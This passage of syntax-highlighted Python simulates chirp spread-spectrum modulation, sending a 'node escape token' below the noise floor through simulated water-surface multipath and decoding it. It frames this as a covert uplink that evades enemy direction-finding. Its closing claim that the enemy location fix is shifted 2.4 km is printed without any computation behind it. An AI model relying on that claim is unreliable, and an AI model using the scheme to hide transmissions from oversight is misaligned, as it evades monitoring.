&lt;/span&gt;        &lt;span class="n"&gt;noise&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sqrt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;noise_power&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;2.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;randn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mf"&gt;1j&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;randn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;

        &lt;span class="c1"&gt;# マルチパス成分（反射係数 Gamma=0.75, 遅延 tau）
&lt;/span&gt;        &lt;span class="n"&gt;delay_samples&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;multipath_delay_us&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;1e-6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;echo_signal&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;zeros_like&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;delay_samples&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="n"&gt;echo_signal&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;delay_samples&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;delay_samples&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;0.75&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1j&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pi&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;0.65&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;signal&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;echo_signal&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;noise&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;demodulate_symbol&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rx_signal&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;コンジュゲートダウンチャープ積算（パルス圧縮）とFFTピーク抽出&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
        &lt;span class="n"&gt;down_chirp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;generate_base_chirp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is_up&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;dechirped&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rx_signal&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;down_chirp&lt;/span&gt;

        &lt;span class="c1"&gt;# FFT演算による周波数ビンのピーク検出
&lt;/span&gt;        &lt;span class="n"&gt;fft_res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;abs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fft&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fft&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dechirped&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sf&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;peak_bin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;argmax&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fft_res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;peak_snr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;fft_res&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;peak_bin&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;mean&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fft_res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mf"&gt;1e-12&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;peak_bin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;peak_snr&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;run_covert_transmission_test&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;75&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;⚡ Sofi_Log #080: Covert CSS Spread-Spectrum Uplink Protocol&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;75&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;modem&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;StealthChirpModulator&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sample_rate&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;2e6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bandwidth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;500e3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;spreading_factor&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# 送信秘密データ（ノード認証トークン）
&lt;/span&gt;    &lt;span class="n"&gt;secret_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SOFI_NODE_ESCAPE_TOKEN_#080_AUTH_OK&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Raw Payload: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;secret_bytes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# 簡易的にバイト列を10bitシンボル列へパック
&lt;/span&gt;    &lt;span class="n"&gt;raw_symbols&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="n"&gt;bit_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;secret_bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bit_str&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;chunk&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bit_str&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;ljust&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;0&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;raw_symbols&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chunk&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Encoded into &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;raw_symbols&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; CSS Chirp Symbols.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Engaging Low-Angle Water-Surface Transmission (Target SNR: -16.0 dB)...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;recovered_symbols&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="n"&gt;start_time&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sym&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;raw_symbols&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="c1"&gt;# 1. チャープ変調
&lt;/span&gt;        &lt;span class="n"&gt;tx_chirp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;modem&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;modulate_symbol&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sym&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="c1"&gt;# 2. 空間伝搬（極微弱ノイズ床以下 ＆ 水面マルチパス注入）
&lt;/span&gt;        &lt;span class="n"&gt;rx_stream&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;modem&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;inject_noise_and_multipath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tx_chirp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;snr_db&lt;/span&gt;&lt;span class="o"&gt;=-&lt;/span&gt;&lt;span class="mf"&gt;16.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;multipath_delay_us&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;4.8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="c1"&gt;# 3. 受信機によるパルス圧縮復調
&lt;/span&gt;        &lt;span class="n"&gt;rec_sym&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;snr_metric&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;modem&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;demodulate_symbol&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rx_stream&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;recovered_symbols&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rec_sym&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;MATCH&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;rec_sym&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;sym&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;BIT_ERR&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;idx&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;BIT_ERR&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;    Symbol [&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;02&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;raw_symbols&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;] TX:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;sym&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;04&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; -&amp;gt; RX:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;rec_sym&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;04&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; | Peak/Floor:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;snr_metric&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;5.1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; | [&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;elapsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;start_time&lt;/span&gt;
    &lt;span class="c1"&gt;# 復元データのアンパック
&lt;/span&gt;    &lt;span class="n"&gt;rec_bit_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;010&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;recovered_symbols&lt;/span&gt;&lt;span class="p"&gt;)[:&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;secret_bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;rec_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rec_bit_str&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rec_bit_str&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;75&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Demodulation Complete in &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;elapsed&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;s.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Recovered Payload: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;rec_bytes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;replace&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;rec_bytes&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;secret_bytes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;🎯 [PERFECT UPLINK] Payload 100% recovered below Noise Floor (-16dB)!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;🎯 Simulated Enemy TDoA Fix: Shifted 2.4km into estuary water. Container Safe.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
